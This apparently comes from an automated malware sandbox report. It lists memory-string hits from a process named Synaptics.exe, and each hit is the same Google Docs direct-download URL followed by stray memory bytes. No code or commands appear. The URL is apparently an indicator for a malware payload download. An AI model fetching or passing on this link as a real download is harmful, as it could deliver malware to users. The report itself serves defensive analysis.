Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell1
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncellIQ
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncellU
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncellel
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncellj
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncellk
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncellun
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncellv
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnchL
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncxH
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnd(G
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnecti
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnecticn
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnes
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetl
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetl?
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle/_
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadni
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniDJ
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyo
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyoE
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyoX
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyop
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyorB
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyory
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyowS
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnnect6
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnts
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnv
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado-
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado.
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogU=zmo
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadones
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo.co
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadooo.c
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadooo.cs
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador..
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...%Q
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...H
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...no
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...zS
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador..U
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorx3
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadou
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadould.0
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadould.T
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadownlo
Source: Synaptics.exe, 00000002.00000002.3145870464.0000000037D3E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoy
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpK
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadph%
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpv
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqG
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr)
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.(M
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrC
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrch=
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadred.?F
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrm-F
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs=
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrv
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads-
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads.
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads.dl
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsD
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsOGlE
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsOGlE.BQlZ
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsolv
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsolvi
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadstnam
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadstnam$
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadstnamX
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsw
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007DC0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadta
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtd
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadti
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadting
